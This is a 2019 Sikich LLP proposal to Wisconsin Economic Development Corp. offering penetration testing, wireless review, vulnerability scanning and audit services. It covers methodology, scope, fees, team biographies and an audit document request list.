Registered Investment Advisor. Securities offered through Triad Advisors, member FINRA and SIPC. Triad Advisors and Sikich Financial are not affiliated.

DISPUTE ADVISORY
Disputes of any kind or size can be difficult to handle on your own. For example, what would happen if you began suspecting
employee fraud within your organization? A dispute advisory expert can handle every aspect, from insurance claim
preparation and being the liaison with law authorities, to creating a fraud prevention program and improving your
organization’s internal controls.
HUMAN RESOURCES
Your people are a large part of what makes up your organization. Recruiting, training and retaining employees are vital parts
of ensuring your organization continues to provide only the best for your constituency. With services such as recruiting and
onboarding, compensation and compliance, employee benefits and more, you can better understand what will keep your
employees happy and productive.
MARKETING
The effectiveness of your marketing efforts can make or break your organization’s success. From eye-catching logos to print
and digital collateral, every piece must work for an intended audience. By delivering the right stories and amplifying those
messages, you will properly position your organization in the marketplace.
NOT-FOR-PROFIT SERVICES
Funding challenges, increased demand from stakeholders and changing trends and policies can make it difficult for not-forprofit organizations to reach their goals. For those common challenges and others more specific to your organization, you
need a professional services partner with an industry-dedicated team to deliver the accounting, advisory and technology
services that will help you work toward your mission.
PERFORMANCE-BASED STRATEGIC PLANNING
In an environment where there is increasing pressure for governments to be more efficient, effective and transparent, strategic
planning allows an organization to engage stakeholders, focus on its mission, and logically establish short and long-term
goals. Our approach, performance-based strategic planning, guides the organization toward its most productive activities
and focuses on an institutionalized process. The strategic planning process is a true transition, where Sikich facilitates
governments in:
▪ Developing ideals about what they aspire to
▪ Transforming ideals into ideas to meet goals
▪ Converting ideas into specific, actionable items
▪ Constructing performance measures
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We ensure the results of strategic planning meet client expectations by filtering goals, objectives and/or strategies with the
organization’s internal capacity and available resources. The process of performance-based strategic planning has proven to
assist governments in fulfilling the ideals of their community and accomplishing goals through measurable, reportable actions.
PROCESS IMPROVEMENT
Processes truly define organizations, but are often forgotten when seeking root causes to problems or managing more efficient
and effective services. Improvements to existing processes―ranging from development review to utility billing―have the
potential to decrease cycle time, increase quality and result in higher customer satisfaction. Sikich employs a customercentric approach to process improvement by involving internal and external customers to understand and make meaningful
improvements while continuing to meet their needs.
PUBLIC RELATIONS
Achieve a higher media profile, greater mindshare among your constituents and proper positioning in the marketplace with a
thoughtful, research-based and integrated approach to public relations. From overall positioning to media relations, conveying
the right stories to the right people is critical in an effective public relations program.
TECHNOLOGY: ERP & CRM SOLUTIONS
Your organization can better stay on track with the right enterprise resource planning (ERP) or customer relationship
management (CRM) solution. Whether you are at the start of your search for a new solution or need a new partner to fix a
failed implementation, you will have the freedom to explore a variety of products to identify the technology investment that will
best capitalize on your potential.
TECHNOLOGY: IT SERVICES
Staying ahead of, or even simply keeping up with, continually changing and complex technology developments can be
challenging. Organizational management software, cloud solutions, strategic information technology and IT consulting can all
drive your organization toward increased productivity—if implemented the right way.
TECHNOLOGY: SECURITY AND COMPLIANCE
Keeping your organization safe from data breaches and other information security concerns is critical, especially given the
vast number of organizations that have been compromised in the last couple of years. Understand where the vulnerabilities
in your network lie by obtaining independent, unbiased and technically qualified security assessments—from penetration
testing to forensic analyses.
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Message from Dan
We appreciate the opportunity to provide you with information security services in response to your
request for assistance assessing the security of your network environment. With our experience in the
information security industry, we understand your unique challenges to protect the confidentiality,
integrity and availability of your customer’s sensitive data against both internal and external information
security vulnerabilities and risks.
We have outlined our project plan for your review. The plan is comprised of external, internal and
wireless network penetration testing with external vulnerability scanning. The goals of this well-rounded
security plan are to drastically improve your security posture, raise your level of understanding of the
risks that threaten your business on a regular basis and help you achieve your IT security initiatives.
We understand that you have many choices for information security services and we are confident that
the depth of our technical expertise, the breadth of our services and our objectivity will allow us to
provide you with unmatched service.
To move forward, please indicate your acceptance of this proposal by signing and returning a copy of
the enclosed agreement to me via email to dan.oates@sikich.com.
Very truly yours,

Dan Oates
Client Account Manager
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Overview
Sikich LLP (Sikich) is a leading professional services firm specializing in accounting, technology,
investment banking and advisory services. The Sikich security and compliance practice is dedicated to
assisting clients with information security consulting, fraud management, risk mitigation, security
assessments and vulnerability detection and prevention. As a company with an international presence,
Sikich has the privilege of working with leading payment card, financial, restaurant, hospitality, health
care, nonprofit, government and education organizations from around the world.
Our experts specialize in performing compliance audits, penetration tests, computer security
assessments, Payment Card Industry (PCI) forensic investigations and computer forensic
investigations, and our team holds the titles to back up that claim. Among the certifications and
qualifications you’ll see are:
•

Certified Computer Support Professional (A+)

•

Certified Ethical Hacker (CEH)

•

Certified in Risk and Information Systems Control (CRISC)

•

Certified Information System Auditor (CISA)

•

Certified Information System Security Professional (CISSP)

•

Certified Public Accountant (CPA)

•

CompTIA Network+

•

CompTIA Security+

•

GIAC Assessing and Auditing Wireless Networks (GAWN)

•

GIAC Certified Forensic Analyst (GCFA)

•

GIAC Certified Incident Handler (GCIH)

•

GIAC Certified Intrusion Analyst (GCIA)

•

GIAC Certified Perimeter Protection Analyst (GPPA)

•

GIAC Information Security Professional (GISP)

•

GIAC Security Essentials (GSEC)

•

GIAC Security Expert (GSE)

•

Information Technology Infrastructure Library (ITIL)

•

Master of Science in Information Security Engineering (MSISE)

•

Project Management Professional (PMP)

•

VMware Certified Professional (VCP)

•

Payment Card Industry Professional (PCIP)

•

Payment Card Industry Approved Scanning Vendor (ASV)

•

Payment Card Industry Qualified Security Assessor (QSA)

•

Payment Card Industry Payment Application Qualified Security Assessor (PA-QSA)

•

QSA Point to Point Encryption (QSA (P2PE))

•

PA-QSA Point to Point Encryption (PA-QSA (P2PE))

Sikich is a PCI Qualified Security Assessor (QSA), a Payment Application Qualified Security Assessor
(PA-QSA), a Point-to-Point Encryption (P2PE) QSA and PA-QSA, an Approved Scanning Vendor
(ASV) and a PCI Forensic Investigator (PFI). Our clients range from mom-and-pop shops to common
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household brands. We validate the full range of Level 1-2 service providers and Level 1-4 merchants
against the PCI Data Security Standard (PCI DSS), as well as validating payment applications against
the Payment Card Industry Payment Application Data Security Standard (PA-DSS).
We’re leaders within the payment card industry and have been involved with the program since its
inception as Visa’s Cardholder Information Security Program (CISP) in 2001. Our knowledge and
experience cover all aspects of the payment industry from card swipe and card number entry, approval
and authorization, transaction settlement and credit card data storage (primary account numbers
(PAN), track and CVV2/CVC2/CID), to entities that provide payment card services, whether they store
data, process transactions or transmit information.
We’re better than our competition, and here’s why:
•

We employ state-of-the-art facilities, equipment and techniques to perform thorough security
tests. Simply doing “enough to get by” is not an option.

•

We are continually innovating, being first- to-market with new tools, better ideas and superior
technology supported by patents.

•

Our team of trained professionals is experienced in both security and the payment card
industry, performing hundreds of security tests for banks, service providers, payment card
processors and merchants.

•

You’ll see us active in the information security community, presenting seminars, writing
articles, conducting webinars and sharing our knowledge.

And of course, we care about the community, giving back and participating in organizations including:
•

High Technology Crime Investigation Association (HTCIA)

•

Information Systems Audit and Control Association (ISACA)

•

InfraGard (National Infrastructure Security Organization)

•

Open Web Application Security Project (OWASP)

•

Wisconsin Association of Computer Crimes Investigators (WACCI)

•

The United Way
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Service Descriptions
To accomplish the goals of Wisconsin Economic Development Corp. (WEDC), Sikich is proposing the
following services:

External Network Penetration Testing
The Sikich external penetration test provides a “hacker’s eye” view of your Internet-connected
systems. In this test, a trained, experienced security consultant attempts to gain access to your
systems using the tools and techniques employed by professional computer criminals and other
attackers.

OUR SERVICE
Sikich penetration testing is conducted using a proven methodology to systematically analyze the
WEDC Internet environment. The testing can be performed as a zero-knowledge assessment, taking
the perspective of an outside attacker without knowledge of the network, or completed using additional
information agreed upon by WEDC and Sikich (such as a device listing or user accounts) to focus the
assessment.
Sikich follows a methodology based on National Institute of Standards and Technology (NIST) Special
Publication 800-115 that encompasses the following phases:

Planning
•

Rules of Engagement creation

Reconnaissance
•

Network surveying and mapping

•

Device discovery and enumeration

•

Service detection and port scanning

•

Operating system identification

Vulnerability Detection
•

Security holes and vulnerability identification

•

User account and password review

•

Operating system security testing

•

Service security testing

Attack and Penetration
•

Vulnerability exploitation

•

Results and risk analysis
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Reporting
•

Vulnerability and exploitation attempt enumeration

•

Remediation action recommendation creation

Sikich will communicate with WEDC throughout the planning and execution of the penetration test. We
will immediately halt testing and contact WEDC if we discover significant vulnerabilities, observe that
our testing is having an adverse impact on the systems or discover indications of a previous successful
attack.

OUR REPORTS
Part of the value of a penetration test depends on the ability of WEDC to understand and take action on
the results. Our reports are written to meet the needs of your IT department, internal and external
auditors and examiners. Our reports clearly define the scope of the testing, the methodology used and
the results of the testing, and make recommendations to address any findings.

Internal Network Penetration Testing
Internal attacks are consistently ranked as the number-one source of compromise because internal
network security is often a penetrable line of defense. Sikich internal penetration testing analyzes your
internal network to assess the security from an attacker with physical access (such as a malicious or
disgruntled customer, employee, contractor, maintenance staff, etc.), an attacker who has breached
the external perimeter, or a virus or worm that has unknowingly been released on the network.

OUR SERVICE
An internal penetration test follows the same general methodology as an external penetration test.
These actions are taken against internal servers, workstations and networking devices. This testing
includes the following phases:

Planning
•

Rules of Engagement creation

Reconnaissance
•

Network surveying and mapping

•

Device discovery and enumeration

•

Service detection and port scanning

•

Operating system identification

Vulnerability Detection
•

Security holes and vulnerability identification

•

User account and password review

•

Operating system security testing

•

Service security testing

Copyright © 2019 Sikich LLP. All rights reserved.
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Attack and Penetration
•

Vulnerability exploitation

•

Results and risk analysis

Reporting
•

Vulnerability and exploitation attempt enumeration

•

Remediation action recommendation creation

Sikich can perform the internal penetration test using one of two different methodologies:
•

Covertly – Covert testing is done without the knowledge of the IT, network and information
security staffs, which will test the ability of WEDC to detect, investigate and respond to
internal attacks. Our testing will be approved and coordinated through one high-level point of
contact that will monitor and direct our activities.

•

Overtly – Overt testing is done with the knowledge and cooperation of the IT, network and
information security staffs, which will focus our limited testing time on the most valuable
targets and enable us to quickly answer any questions we may have about the network and
systems.

Wireless Review and Testing
Wireless access is critical in supporting mobile users and business applications in an effort to maintain
efficiency and agility. Wireless technology advances have improved security, flexibility and reliability to
the point that enterprises have begun deploying wireless more pervasively throughout their
organizations, supporting more users, devices and applications than ever before.
Wireless networks also introduce multiple avenues for attack and penetration that are either much
more difficult or completely impossible to execute with a standard, wired network. Wireless networks
only know the boundaries of their own signal: streets, parks, nearby buildings and cars all offer a virtual
“port” into your wireless network.

WIRELESS ENCRYPTION REVIEW
Wireless networks, while convenient, can also pose large risks to an organization, especially if they are
not secured properly.
Sikich will assess the security of wireless networks through the following methods:
•

Attempting to brute force encryption keys

•

Attempting to bypass MAC address filtering

•

Sniffing for sensitive traffic

Copyright © 2019 Sikich LLP. All rights reserved.
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WIRELESS CONFIGURATION REVIEW
While wireless networks are often secured to some degree, the level of security can typically be
improved upon. Sikich will conduct a wireless configuration review to examine the security in place on
these networks and report on how to improve potentially weak areas.
Sikich will:
•

Review wireless configuration files

•

Review wireless encryption and key management

•

Review wireless network architecture and segmentation

•

Attempt to break out of defined segmentation and access other areas of the network

External Vulnerability Scanning
It is estimated that over 7,000 new vulnerabilities are exposed each year. That is an average of almost
20 new security vulnerabilities discovered every day. Regular vulnerability scanning is a critical
component of all successful information security programs. These scans look for security holes or
misconfigurations on your external network to proactively find variations or weaknesses in your everchanging network environment. This constant and early identification of security flaws allows your
company to react quickly and appropriately, close security holes and help prevent attacks and data
compromises.

OUR SERVICE
Sikich has developed a fully-automated Internet testing service that enables organizations to assess
the security of their Internet connection and devices. The Sikich scanning service performs over
80,000 security tests on all components of your Internet infrastructure, including firewalls, routers, web
servers, email servers and other devices.
Our service is designed to be:
•

Accurate and complete

•

Easy to configure

•

Easy to manage

•

Easy to understand

Accurate and Complete
A security test is only valuable if the results are accurate and complete. Our testing engine is updated
continuously and checks for more than 80,000 security vulnerabilities, including the FBI/SANS Top 20
Internet Security Vulnerabilities.

Copyright © 2019 Sikich LLP. All rights reserved.
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Easy to Configure
You can set up your tests using our secure website to register your devices, select the type of tests to
perform, and schedule when and how often the tests should run (from daily to annually). You can
configure and review your test schedule and results at any time, day or night, from a web browser on
any computer, tablet or smartphone.

Easy to Manage
You can plan and manage your security tests to meet your needs. Before each test, you will receive an
email notifying you that the test is about to begin. If you would like to postpone the testing, you can log
into the web portal and reschedule the test for another time. You can even monitor the progress of the
testing in real time, and, if needed, you can use the same interface to cancel the test while it is running.
When the testing has completed, you will receive an email with the summary of the results and a link to
your report. You can then log into the website at your convenience to see the detailed results of the
testing and recommended corrective actions.
You can add custom comments to each vulnerability, for instance, to indicate that a change will be
made by given date or that you are willing to accept the risks associated with a particular vulnerability.
These comments are stored with your testing results and are included in your reports.

Easy to Understand
Your reports include an executive summary showing the hosts that were tested, each host’s security
status, when the testing was completed, and a summary of the results risk-ranked by priority. A
detailed technical view shows the specific vulnerabilities identified, recommended corrective actions
and links to additional resources. With comprehensive reports in multiple formats, you can interactively
review your report online or download them, including any of your custom comments, for offline viewing
and sharing.

Copyright © 2019 Sikich LLP. All rights reserved.
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Scope and Assumptions
In determining the level of effort and resources applied to these services, it is critical to understand the
composition of the networking environment that will be tested. The fees set forth in this Statement of
Work (SOW) are based on the following assumptions. In the event that any assumptions prove to be
inaccurate and Sikich incurs additional work as a result thereof, additional fees may apply.
Sikich understands the following regarding the WEDC environment:
•

Testing is for security purposes and not in support of a specific compliance mandate

•

Eight (8) locations in Wisconsin

•

o

Madison

o

Milwaukee

o

Green Bay

o

Eau Claire

o

Rhinelander

o

Appleton

o

Adams

o

LaCrosse

Network is hosted both in house at the Madison location and in the cloud through Amazon
Web Services (AWS)

•

Previously conducted a formal penetration test in 2018

•

An external vulnerability scan was last completed in February 2019

•

14 internal VLANs

•

Two (2) physical servers

•

Nine (9) virtual servers in the AWS environment

•

194 workstations

•

200 user accounts

o
o

o
•

Sikich will sample up to seven (7) of these VLANs
14 vSphere servers live on these machines

Six (6) levels of user

15 external IP addresses owned
o

14 external IP addresses are routed and active

o

No virtual hosts resolve to these IPs

•

Two (2) locations, Madison and Milwaukee, will be in scope for wireless network testing

•

Two (2) SSIDs

•

11 access points

o

Same SSID in each location

o

Nine (9) in Madison

o

Two (2) in Milwaukee

WEDC has stated that testing may take place during normal business hours and Sikich can ship a
small form-factor system or virtual machine (VM) as appropriate to be connected to the internal
environments for testing purposes.

Copyright © 2019 Sikich LLP. All rights reserved.
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WEDC agrees to assume all management responsibilities for all the services described in this
agreement; oversee the services by designating an individual, preferably from senior management,
with suitable skill, knowledge, or experience; evaluate the adequacy and results of the services; and
accept responsibility for them.

Schedule and Milestones
All reasonable attempts will be made to meet the dates requested. WEDC understands and agrees that
changes in major factors (such as a “Project Change Control”) could impact the projected timeframe.

Service

Location

Start Date

Completion Date

External Network Penetration
Testing

Remote

To be determined

Estimated 6-8 weeks
from start date

Internal Network Penetration
Testing

Remote

To be determined

Estimated 6-8 weeks
from start date

Wireless Review and Testing

On site and
remote

To be determined

Estimated 6-8 weeks
from start date

External Vulnerability Scanning

Remote

To be determined

Scan subscription for
1 year

Upon the start of each service, Sikich will coordinate with WEDC to set up a complete project
schedule.

Copyright © 2019 Sikich LLP. All rights reserved.
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Fees and Payment Schedule
In estimation to complete the activities based on the included scope, Sikich is presenting the following
for WEDC.

External Network Penetration Testing
Sikich will conduct in-depth penetration testing to emulate actual attack vectors taken by professional
hackers against the external environment.

Service Phase

Fees

Project Setup, Kickoff and Discovery
Includes:
•
Creation of the project in the Sikich project management portal
•
Project kickoff conference call
•
Network surveying and mapping
•
Device discovery and enumeration
•
Service detection and port scanning

Included

Testing and Reporting
Includes:
•
Manual and automated testing of network and operating system
vulnerabilities
•
Up to two (2) hours of retesting on identified vulnerabilities to be
completed within 30 days of receipt of the draft report

Included

Deliverables:
•
Draft combined penetration test report of scope and methodology,
findings and recommendations for remediation
•
Final combined penetration test report
Total

Copyright © 2019 Sikich LLP. All rights reserved.
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Internal Network Penetration Testing
Sikich will conduct in-depth penetration testing to emulate actual attack vectors taken by professional
hackers against the internal environment.

Service Phase

Fees

Project Setup, Kickoff and Discovery
Includes:
•
Creation of the project in the Sikich project management portal
•
Project kickoff conference call
•
Building and shipping internal penetration testing device
•
Up to two (2) hours of configuration and setup of device on client
network in preparation of testing
•
Network surveying and mapping
•
Device discovery and enumeration
•
Service detection and port scanning

Included

Testing and Reporting
Includes:
•
Testing of internal network
•
Testing connections to and from segments
•
Automated information gathering and scanning
•
Manual testing of internal network mimicking actual attack vectors
•
Up to two (2) hours of retesting on identified vulnerabilities to be
completed within 30 days of receipt of the draft report

Included

Deliverables:
•
Draft combined penetration test report of scope and methodology,
findings and recommendations for remediation and
•
Final combined penetration test report
Total

$10,500

Additional Testing and Consulting Time (As Needed)
Sikich has provided services within this SOW that are limited to a fixed amount of time. These hours
have been chosen as a median of how much time clients similar in size and makeup to your
organization have traditionally needed. Should WEDC require additional time in any of these areas such
as retesting for penetration testing, Sikich will bill this time at an hourly rate, which allows WEDC to only
pay for exactly how much additional time is needed.

Service

Fees

Information Security Testing and Consulting

$282/hour

Copyright © 2019 Sikich LLP. All rights reserved.
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Wireless Review and Testing
Sikich will conduct in-depth testing to emulate actual attack vectors taken by professional hackers
against the wireless networks.

Service Phase

Fees

Project Setup, Kickoff and Discovery
Includes:
•
Creation of the project in the Sikich project management portal
•
Project kickoff conference call

Included

Wireless Review and Testing
Includes:
•
On-site wireless testing of WEDC access points
•
On-site wireless access point identification (including rogue networks)
•
On-site testing of wireless encryption
•
On-site review of wireless network configurations

Included

Deliverables:
•
Findings from the wireless review and testing will be included in the
penetration test report along with wireless access points and associated
configurations
Total

$4,000

External Vulnerability Scanning
As part of the external penetration testing engagement, Sikich will perform four complimentary
quarterly vulnerability scans of the WEDC in-scope Internet-accessible systems. WEDC can also elect
to upgrade the complimentary subscription to monthly scans for a nominal fee.

Service

Fees

Initial

One Year of Quarterly External Vulnerability Scans
Includes:
•
Secure web portal access for a full year
•
Quarterly (4) vulnerability scans of up to 18 external
hosts
•
Complimentary rescans following noncompliant scans
For quarterly subscriptions, additional blocks of six (6) hosts sold
as needed

Copyright © 2019 Sikich LLP. All rights reserved.
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Service

Fees

Initial

One Year of Monthly External Vulnerability Scans (Upgrade)1
Includes:
•
Secure web portal access for a full year
•
Monthly (12) vulnerability scans of up to 18 external
hosts
•
Complimentary rescans following noncompliant scans
For monthly subscriptions, additional blocks of six (6) hosts sold
as needed
1

$120

$79/block

Sikich is recommending that WEDC perform monthly vulnerability scanning on all owned device
ranges. Quarterly scanning can present too much elapsed time between vulnerability tests. With an
average of nearly 20 new vulnerabilities each day, 1,800 new vulnerabilities are discovered in
between quarterly scans.

Payment Schedule
Unless otherwise specified below, for a single project, Sikich will invoice 50% of the total fees for each
service upon receipt of the signed Statement of Work. The remaining fees will be invoiced as follows:

External Network Penetration Testing
•

The remaining balance for this service will be invoiced upon completion of the draft report

Internal Network Penetration Testing
•

The remaining balance for this service will be invoiced upon completion of the draft report

Wireless Review and Testing
•

The remaining balance for this service will be invoiced upon completion of the draft report

External Vulnerability Scanning
•

100% of total fees for this service will be invoiced upon receipt of signed SOW

EXPENSES
Travel time within Milwaukee and Waukesha counties is included in the fee structure outlined in this
SOW; travel outside of those counties is not included. Applicable project expenses (flights, mileage,
hotel, meals, shipping, equipment, etc.) will be billed to WEDC at actual cost as they are incurred.

Copyright © 2019 Sikich LLP. All rights reserved.
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Fee Guarantee
The above fees are estimated based on the current knowledge and understanding of the WEDC
environment. Fees may change at any time and are not guaranteed until a contract has been signed.
Project-based fees are valid for 30 days and require that all services for a single project, or the first
year in a multi-year project, will be completed within one year from the date of this SOW. For services
billed at an hourly rate, rates may increase once every 12 months in accordance with the Sikich
Professional Services Master Agreement.

Copyright © 2019 Sikich LLP. All rights reserved.
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Proposal Acceptance
This Statement of Work is governed by the terms in the Professional Services Master Agreement
executed between Wisconsin Economic Development Corp. and Sikich LLP. To accept the services,
fees and terms, please INITIAL ABOVE where appropriate, SIGN BELOW and return a copy of the
executed proposal via fax to 866.820.1311 or via email to dan.oates@sikich.com. A duly signed copy
will be returned to you upon request.

Wisconsin Economic Development Corp.

Sikich LLP

Signature

Signature

Print Name, Title

Print Name, Title

Date

Date

Contact Information
Please provide us with the contact information for both the primary management contact and the billing
contact.

Wisconsin Economic Development Corp.

Wisconsin Economic Development Corp.

Primary Contact

Billing Contact

Email

Email

Address

Address

Phone

Phone

Fax

Fax

Purchase Order Number (optional)

Copyright © 2019 Sikich LLP. All rights reserved.

18

WISCONSIN ECONOMIC DEVELOPMENT CORP.

Project Team
Sikich employs state-of-the-art facilities, equipment and techniques to provide thorough tests of the
security of your information systems. Our team of trained and experienced security professionals have
performed hundreds of security tests for banks, credit unions, service providers, payment card
processors and government agencies. In addition to the Payment Card Industry Qualified Security
Assessor (QSA) and Payment Application Qualified Security Assessor (PA-QSA) certifications, several
team members have additional certifications including Certified Information Systems Security
Professional (CISSP) and Certified Information Systems Auditor (CISA). You’ll see our team active in
the information security community, presenting seminars, writing articles, conducting webinars and
sharing our knowledge.

Brad Lutgen
Brad is a Partner at Sikich and oversees the firm’s Security and Compliance division. Brad is
passionate about helping clients meet their compliance mandates and improve their security posture.
He enjoys working with a wide range of clients, from small businesses to Fortune 100 companies, and
tailoring security solutions to the budget and needs of each.
Brad has extensive experience in numerous technology-related fields, including in the payment card
industry (PCI) as well as other compliance and information security markets. He is active in the security
community, sitting on the advisory board of the Midwest Cyber Security Alliance as well as being a
member of InfraGard and the Information Systems Security Association (ISSA).

Kevin Bong, GSE, PMP, QSA, GCIH, GCIA, GPPA,
GSEC, GCFA, GAWN
Kevin is the Director of penetration testing at Sikich focusing on information security and compliance
issues faced by a myriad of institutions. Prior to joining Sikich, Kevin spent 12 years as a Vice President
of a multi-billion-dollar financial group, leading the bank’s security and IT risk management activities.
With his experience performing audits, penetration testing, risk assessments and forensic
investigations, Kevin provides invaluable guidance to institutions affected by standards such as those
related to the FFIEC, NIST, HIPAA and PCI.
Kevin is the creator of the MiniPwner, a pocket-size penetration testing device used to gain remote
access to a network. He’s also an author, instructor and a speaker at conferences like RSA,
DerbyCon, Security BSides and WACCI.
Kevin has a Master of Science Degree in Information Security Engineering from the SANS Institute. In
addition, he is a Payment Card Industry Core Forensic Investigator and Qualified Security Assessor
(QSA), and a Project Management Professional (PMP) who holds numerous Global Information
Assurance Certifications (GIAC), including GIAC Security Expert (GSE), GIAC Certified Incident
Handler (GCIH), GIAC Certified Intrusion Analyst (GCIA), GIAC Certified Perimeter Protection Analyst
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(GPPA), GIAC Security Essentials (GSEC), GIAC Certified Forensic Analyst (GCFA) and GIAC
Assessing and Auditing Wireless Networks (GAWN).

Michael Vieau, CISSP, CEH
Michael is a Managing Consultant with Sikich. Michael takes great pride in furthering his education to
maximize his value to clients. His academic background augments his already extensive experience in
the information technology, health care and manufacturing industries. His familiarity with these fields
makes him an excellent resource for organizations looking to tackle compliance mandates from NIST to
CIS and beyond.
When he's not working diligently on consulting, you can find him heads-down studying new exploits,
giving talks at events like DerbyCon or teaching up-and-coming infosec professionals as an adjunct
associate professor. He also currently maintains the MiniPwner project for the pocket-sized MiniPwner
penetration testing device used to gain remote access to a network.
Michael has a Master of Science degree in Computer, Information and Network Security from DePaul
University. In addition, he holds the Certified Information Systems Security Professional (CISSP),
Certified Ethical Hacker (CEH) certifications.

Samuel Gibson, CISSP
Samuel is a Senior Consultant at Sikich. He has been tapping into his passion for all things technology
and security in some form or the other for more than five years. In his role, Sam focuses his attention
on managing and assessing compliance efforts within the payment card and health care industries.
Samuel's familiarity with various industries, technologies and compliance mandates allows him to
augment an organization's efforts to enhance its security posture. Thanks to his previous security
administration and helpdesk/support roles within a health care organization supporting HIPAA
compliance, Samuel has experience maintaining a wide array of devices and services, including
Windows servers and desktops, firewalls, Linux systems, content filters, email encryption and spam
filters.
Sam is a Certified Information Systems Security Professional (CISSP).

Ethan Hobart, CISSP
Ethan is a Senior Consultant at Sikich. He calls on his wide-ranging experience performing security
assessments and penetration testing, configuring networking protocols and firewalls, writing code and
designing logic to bring unique insights to his internal, external and wireless penetration testing
engagements. Having worked with a variety of small businesses as well as financial, manufacturing and
government institutions, Ethan possesses an exceptional understanding of the diverse set of
challenges clients face today.
Ethan received his Bachelor’s Degree in Information Assurance and Security Engineering from DePaul
University in Chicago, IL. When not at work, Ethan enjoys volunteering at various security conferences,
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including Thotcon and BSides Las Vegas, as well as participating in security related capture-the-flag
competitions and Chicagoland security meet-up groups. Ethan is also a member of the Chicago
chapter of InfraGard.
Ethan is a Certified Information Systems Security Professional (CISSP).

Will Bonk, CISSP
Will is a Consultant at Sikich. Having spent time working as both a network security engineer and an IT
director, Will is able to tap into previous experiences to bring a unique, real-world perspective to his
penetration testing engagements. Will also recognizes and is able to work with clients on the
challenges presented by various compliance mandates, including those related to the Payment Card
Industry Data Security Standard (PCI DSS) and Sarbanes-Oxley (SOX).
Will is a Certified Information Systems Security Professional (CISSP).

Kim David
Kim is the Senior Manager of Resources with Sikich. She joined the team in 2010, bringing with her an
extensive background in IT-related project management. Kim supervises our project management staff
and plays a large role in the development, maintenance and evolution of project methodologies. Her
responsibilities include macro-level oversight of all open engagements and daily communication with
the project teams to discuss project statuses and communicate those statuses to clients and other
project stakeholders.

Shannon Mikulak
Shannon is a Project Manager at Sikich. Throughout her career, she has proven successful in leading
and supporting projects, programs and initiatives involving both internal teams and external
stakeholders. Shannon leverages her background in process management, strategic planning and
client and vendor relationship management, coupled with her strong business and interpersonal
communication skills, to maximize the efficiency of a client’s project and allow for a greater return on
investment. Understanding the importance of communication, Shannon coordinates with all project
team members to guide engagements smoothly from inception to completion.

Christopher Jones
Chris is the Senior Manager of Quality Assurance at Sikich. He performs in-depth structural quality
assurance reviews of all client deliverables, including Reports on Compliance and Attestations of
Compliance for PCI DSS assessments, PCI DSS gap analysis reports, Reports on Validation for PADSS assessments, penetration testing reports and PFI incident response reports. Chris also works to
create and review other communications and marketing materials, including articles, blogs, sales slicks
and proposals.
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Prior to working at Sikich, Chris managed the marketing and communication efforts of a website
development company. He has also handled account management, copy editing and project
management duties in previous positions at two different marketing agencies.

Josh Sanders, CompTIA Security+
Josh is a Manager at Sikich and the head of the Client Account Management team. Josh is able to
combine his technical background with his in-depth understanding of the complicated business
challenges that organizations face in order to become a true resource to his clients. His organized,
logical and analytical nature allows Josh to better understand business needs and, with his excellent
interpersonal skills, develop deep customer relationships. Josh has a Bachelor of Science in
Information Technology with a concentration in Information Systems Security (BSIT-ISS) and a Master
of Information Systems (MIS) degree. He also holds the CompTIA Security+ certification.
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FEE PROPOSAL
PROPOSAL COST SUMMARY
2019
Audit
Single Audit
Penetration Testing

$

Total

$

2020

2021

50,000 $
51,500 $
53,045
3,000
3,090
3,183
See additional proposal section for levels of services
53,000

$

54,590

$

56,228

These fees assume that the Wisconsin Economic Development Corporation will provide the auditors with electronic copies of
adjusted trial balances by individual funds, a year-to-date general ledger with details of postings to all accounts, subsidiary
ledgers that agree or are reconciled to the general ledger, and will prepare certain schedules of account analysis and
confirmations of account balances.
We invoice our clients on a monthly basis as services are provided. Payments for all services are due within 60 days of receipt
of an invoice. Invoices not paid within 60 days are assessed a finance charge of 1 percent per month (12 percent annually).
Fees for additional services be at the following hourly rates:
Staff Classification
Partner/Director
Manager
Senior
Staff

Hourly Rate
$

325
200
160
130
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EXHIBITS
We know you likely have many more questions for us. Take a look at the attached documents for additional information about
our firm and those who will work with you.
PRELIMINARY FIELDWORK PBC LISTING
FINAL FIELDWORK PBC LISTING
ENGAGEMENT LETTER
ENGAGEMENT TEAM BIOGRAPHIES
▪ Daniel A. Berg, CPA
▪ Frederick G. Lantz, CPA
▪ James R. Savio, CPA, MAS
▪ Brad Lutgen
▪ Debi Kozeniecki, CPA
SIKICH RESOURCES
STATE & LOCAL GOVERNMENT SERVICES
FIRM PROFILE
PEER REVIEW
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Wisconsin Economic Development Corp.
Preliminary Client Request List
Due Date - Not Set
Category
General

ID

Name

Description

1

Board member list

2
3

Board minutes
Resolutions

Listing of members and addresses of all board members and the cover letter for the SAS99 questionnaire for
each (template to be provided by Sikich)
Access to minutes of all board meetings from July 1, 2018 to the date of preliminary field work.
Access to all resolutions adopted by WEDC from July 1, 2018 through the date of our preliminary field work,
with copies of all resolutions that are of a financial nature or that may have a financial impact on WEDC.

4
5

Trial balance
2018 Budget

6

Organizational Chart

7
8
9

List of personnel
Purchasing manual
Employee Handbook

10
11

Policy updates
List of attorneys

12
13
14

Legal Fees
Journal entries
Joint Venture agreements

15
16

Intergovernmental agreements
Developer Agreements

17
18
19

Insurance Policies
User Access Reports
Walkthrough Documentation

20

List of bank accounts

Listing of all financial institutions (with account numbers, contact person, address and authorized signers) for
all depository accounts that WEDC used during the fiscal year ending June 30, 2019

21
22

Investment policies
List of brokers

23

Collateral agreements

Copy of any new investment policies adopted by WEDC
List of all brokers (company name, contact person, address) used by WEDC during the fiscal year ending June
30, 2019
Copies of any new collateral agreements for all financial institutions at which WEDC maintains deposits.

24
25

Custodial agreements
Petty Cash

Preliminary trial balance as of May 31, 2019
Copy of the original 2019 budget and all budget amendments adopted to date (hard copy and electronic
format)
Copy of current organization chart for WEDC and the detailed organization chart for the finance department,
including job descriptions of finance department personnel.
List of current personnel by department and title/position
Copy of WEDC's purchasing manual (if any changes)
Copy of WEDC's employee handbook, if amended during fiscal year 2019 (benefit/policy manual). If not
amended, no copy is necessary
Any updated or new policies that were enacted in fiscal year 2019
Listing of all attorneys (company name, contact person, address) used by WEDC during the fiscal year and a
brief summary of any litigation that the attorney has worked on.
List of any legal fees that occurred during the fiscal year 2019
Listing of all manual journal entries for FY19
Copy of all joint venture agreements or joint service agreements entered into during the fiscal year ended June
30, 2019 (if applicable)
Copy of all intergovernmental agreements entered into during the current fiscal year
Copies of any agreements with developers that are of a financial impact or provide a financial benefit or
burden to WEDC
Copies of all insurance policies in effect during the year ended June 30, 2019
User access reports for ProData website and Intacct
*Requests for specific reports, vendors, recipients, etc will be given at time of preliminary fieldwork
Cash
1. List of Lockbox Deposit Slips from MONTH 201X
